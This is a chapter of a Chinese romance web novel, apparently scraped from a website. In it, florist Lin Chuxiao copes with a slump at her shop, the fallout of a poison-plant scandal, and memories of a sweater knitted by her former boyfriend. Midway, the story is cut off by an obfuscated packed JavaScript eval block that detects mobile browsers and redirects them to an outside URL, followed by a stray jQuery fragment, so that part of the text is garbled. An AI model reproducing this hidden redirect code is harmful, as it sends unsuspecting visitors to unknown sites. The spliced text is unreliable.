24. Chapter 24
作品:《暂时无法接通》 深秋夜晚的剖白争辩格外耗人心神,似乎花光人的所有力气。
那天之后,林初晓按部就班地生活工作,偶尔因为工作与沈之南产生交集,他始终客气又疏离,仿佛他们只是普通的上下级关系。
她有种错觉,他们的从前和那晚的祈求不过是她的一场梦。
梦醒后一切回归原位,她和其他人一样,再也不是最特别的那个。
这样也好,把话说开,心里没有念想久而久之就能翻篇。
体验馆经历毒草事件重新营业,效益却大不如前,等云居顺利渡过危机,她便辞职,专心经营花店。
这些日子林初晓一心扑在体验馆,晨间花语许久没有推出新品花束,不知是不是被体验馆牵连,最近花店明显清闲很多。
午后阳光明媚,晨间花语遮阳棚下堆放着几束折价的鲜花。
林初晓瞄了几眼,目测只比清早少了一小半。
估计今天又卖不完,她想。
阳光透过玻璃门均匀地洒在店内的木质地板,林初晓推门进去。
“叮铃”
玄关处的风铃轻响,看店的向妤恹恹抬头,“欢迎……”
见来人是林初晓又连忙改口,“初晓姐,你回来啦。”
随后愁眉苦脸,盯着花架的绿植发呆,桌面手机发出提示音,她满怀期待地点开,随后嘴角又重重地垂下。
向妤魂不守舍,林初晓忍不住伸手往小姑娘眼前晃了晃,“想什么呢?”
她趴在桌上,叹了口气,幽幽/道:“初晓姐,你知道沈静雪吗?”
沈静雪谁不知道,新晋顶流男明星,这两年爆了好几部剧。
林初晓按动喷壶,均匀地给植物喷水,“知道,非常帅的男明星,怎么了?”
向妤苦恼道:“今早狗仔爆出来他有女朋友,俩人已经谈了好几年。”
“嗐,狗仔听风是雨,爆料不一定是真的。”
“刚刚沈静雪官博发推文,他承认恋情了。”向妤仰天长啸,随即整张脸埋进胳膊。
狗仔放出两张模糊不清的照片,起初她也以为是胡编乱造,结果人家官方直接发微博承认。
哪有少女不怀春,原来是某种意义的失恋,难怪向妤不高兴。
林初晓点开微博,热搜从上到下十多条都是沈静雪的恋情。
#据知情/人爆料沈静雪已有女朋友#
#沈静雪恋情#
#沈静雪女朋友是何方神圣#
……
嚯,好大的阵仗,不愧是新晋顶流。
林初晓顺着词条点进去,率先弹出的是沈静雪官博推文,没有文字,只有一张图片。
风雪夜里,俩人肩并肩行走,女生亲昵地挽着旁边人的胳膊,沈静雪低头侧目,见不到全脸,能隐约可见温柔的神情。
评论有粉丝祝福,也有粉丝像向妤一样伤心难过。
“哈哈哈哈哈哈哈。”
方才愁容满面的向妤不知道看到什么好笑的东西,咯咯地笑起来。
真是小孩,情绪来的快,去的也快。
林初晓问,“不难过了?”
向妤点点头,“木已成舟,我难过也没用,他女朋友好像是个中医,蛮厉害蛮漂亮的,我现在发自内心祝福他。”
林初晓放下手机,拍拍向妤的肩,“行了,不难过就帮我把冷柜的花理理。”
向妤应声,跟在林初晓身后,俩人忙活半天,将冷里卖相不好的鲜花挑出来。
“小妤,你知道你砚舟姐干嘛去了吗?”
早上发微信说有事请假,林初晓晚几分钟回复就没了动静,不说去干什么,消息也不回,非常反常,林初晓有些担心。
向妤忽然像是想到什么,拍拍脑袋,“砚舟姐说去和苏峥哥约会,让我告诉你一声,我光顾着看沈静雪恋情给忘了,不好意思啊,初晓姐。”
林初晓垂下眼帘,凝视池砚舟的微信状态,美滋滋。
啧,见色忘友啊,谈恋爱连个消息都不回。
她摇摇头,放下手机,开始仔细整理鲜花。
晨间花语折价的鲜花通常情况卖的很快,前脚摆上,后脚就被买走。
但今时不同往日,时针指向数字五,日头偏西,门口花架放置折价鲜花的区域依旧放着几束。
向妤气呼呼地推门进来,玄关处的风铃晃得乱七八糟,“初晓姐,刚才有人要买花,被她身边的人拉住了,说我们店的花有毒。”
林初晓剪下多余的扎带,安慰道:“嘴长人家身上,咱们管不了。”
向妤一屁股坐在高脚椅,余气未消,“她们胡说八道,初晓姐你就一点不生气吗?”
“有点生气,但不多,花店这几年生意不错,年头忙到年尾,我正好可以趁这个时间休息一下。”
真没料到,自己一家小小的花店卷进商战,林初晓有些无奈,当初执意加入云居不知道是对是错。
她推门出去,将剩余几束花抱回来放重新包扎,变成风格迥异的花礼。
信封花礼、油画风花礼、开放式蝴蝶花礼齐齐立在工作台上,很是好看。
“小妤,选一束带回去。”
向妤眼睛霎时亮了,惊讶道:“真给我吗?初晓姐,好漂亮啊!”
林初晓顺手清理工作台的纸屑垃圾,浅笑,“对,真给你,快选。”
云居体验馆毒草事件影响不小,外面传晨间花语的鲜花也有毒,不少人对晨间花语退避三舍。
加上天渐凉,下午四点之后没生意就没生意了,何况已经五点了,这些花还是没卖出去。
垃圾桶里多出几束花,不会有人欣赏,可摆在家中不一样,起码自己会高兴。
向妤左看看右瞧瞧,好半天拿起信封花礼,坏心情一扫而空,哼着歌结束今天的兼职。
林初晓关了店,抱着另外两束花来到翡翠华庭。
她在翡翠华庭住了太久太久,衣服填满衣橱,比她自己的小房子衣服还多。
打开左侧衣橱,把今年秋冬要穿的衣服收拾到行李箱,羽绒服、羊毛大衣……
【叮咚!】
床上手机发出消息提示音,自从谭芮车祸之后,她改掉了手机静音的习惯,昨天池砚舟听到声音很是惊奇。
她没告诉任何人,那天在医院的恐惧和担忧,让她联想起从前许多不好的回忆。
林初晓不敢想,如果因为静音没有接到电话而错过亲人的救治时间,她会悔恨终生,万幸上天垂怜。
【宇宙无敌神舟:晓晓,你真要和我分居吗?】
【宇宙无敌神舟:哭哭.jpg】
消息接连弹出,林初晓回笼思绪,迅速打字回复。
眼看闺蜜迎来新恋情,她可不想无意间撞到俩人你侬我侬的亲密时刻,何况苏峥也在这个小区住,小情侣发展肯定更迅速。
池砚舟没有挽留,留下一句,记得给老公铲屎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122309|194991||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再次消失。
呵,无情的女人。
林初晓扔下手机,继续收拾衣服。
橱子深处一件白色毛衣吸引她的注意,针脚细密,但她丝毫想不起这是哪件。
伸手将叠好的毛衣拿出,展开,袖口绣着一朵粉色的百合花。
记忆瞬间如潮水袭来,她摩挲着惟妙惟肖的绣花,似乎回到四年前的春天。
初春乍暖还寒,网络上掀起情侣间互送毛衣的热潮,那段时间的林初晓格外闲暇,买了毛线和工具。
因为知道自己不擅长,所以降低难度,打算给沈之南织条围巾。
埋头苦学针法足足两天,织出来的围巾像蜘蛛网,四面漏风,她深感挫败,和沈之南约会的时候苦着一张脸,止不住叹气。
公园迎春花盛放,以一抹鹅黄告诉世人,春天降至,林初晓用力踢开脚下石子。
咕噜噜,石子滚出老远。
“谁惹你不开心了?”沈之南捏捏口袋里的那只手。
林初晓忿忿不平,语气满是不甘心,“毛线。”
小时候她跟妈妈学包花,无论多复杂的花样她三遍一定能记住,没想到被小小几捆毛线难倒。
人无完人,有长处必定有短板,但在爱人面前,她一肚子委屈。
“你要织什么?”
林初晓挑眉,目光转向他的脖颈,“围巾,织到一半发现围巾能兜风。”
沈之南低头浅笑。
林初晓更生气了,使坏拧了一把他的手背,“你笑话我!?行了,今年冬天你连漏风的围巾都没得戴。”
“好狠心啊晓晓,”沈之南语调不自觉地上扬,带着撒娇的意味,“能不能给我一个将功折罪的机会?”
林初晓点点头。
“毛线还剩下多少?”
林初晓想到一桌子毛线球,头瞬间大了,“好多好多。”
“给我吧。”
林初晓惊讶道:“你会织毛衣?”
“不会,但可以学。”
林初晓抱着看好戏的心理将毛线、工具连同蜘蛛网状的围巾打包给他,七天后沈之南将围巾拆掉,织好了这件毛衣。
确实,沈之南织毛衣方面略胜于她。
尺寸合适,针脚细密,林初晓很喜欢,奈何那年的春天太短,收到毛衣时天气转热,穿不了了。
林初晓被他一双巧手彻底折服,提出要拜师学艺,沈之南死活不教,也不说原因。
再后来,经历盛夏,秋叶飘落,天气转凉,毛衣有机会重见天日,俩人却分道扬镳。
鬼使神差般,林初晓将毛衣仔细叠好,放进行李箱的最后一角。
不多不少刚刚好的的空间似乎像专门为它准备的一样。
啪嗒,啪嗒。
行李箱两侧卡扣扣下,在寂静无声的房子里显得异常清脆。
她会穿吗?
林初晓忍不住问自己。
她不清楚答案,此时此刻只想把那件崭新的旧毛衣塞进行李箱带走。
“喵,喵~”
老公吃完猫粮,踩着优雅的猫步,蹭蹭林初晓的腿,旋即朝她翻肚皮撒娇。
林初晓膝盖弯曲,顺势蹲下,手指覆在老公柔软的皮毛,小猫发出摩托般舒服的响声。
陪老公玩了会,把猫屎铲完,又将一束花放在客厅茶几上。
啪嗒。
林初晓拉着行李箱离开,前往宁南大学家属院。

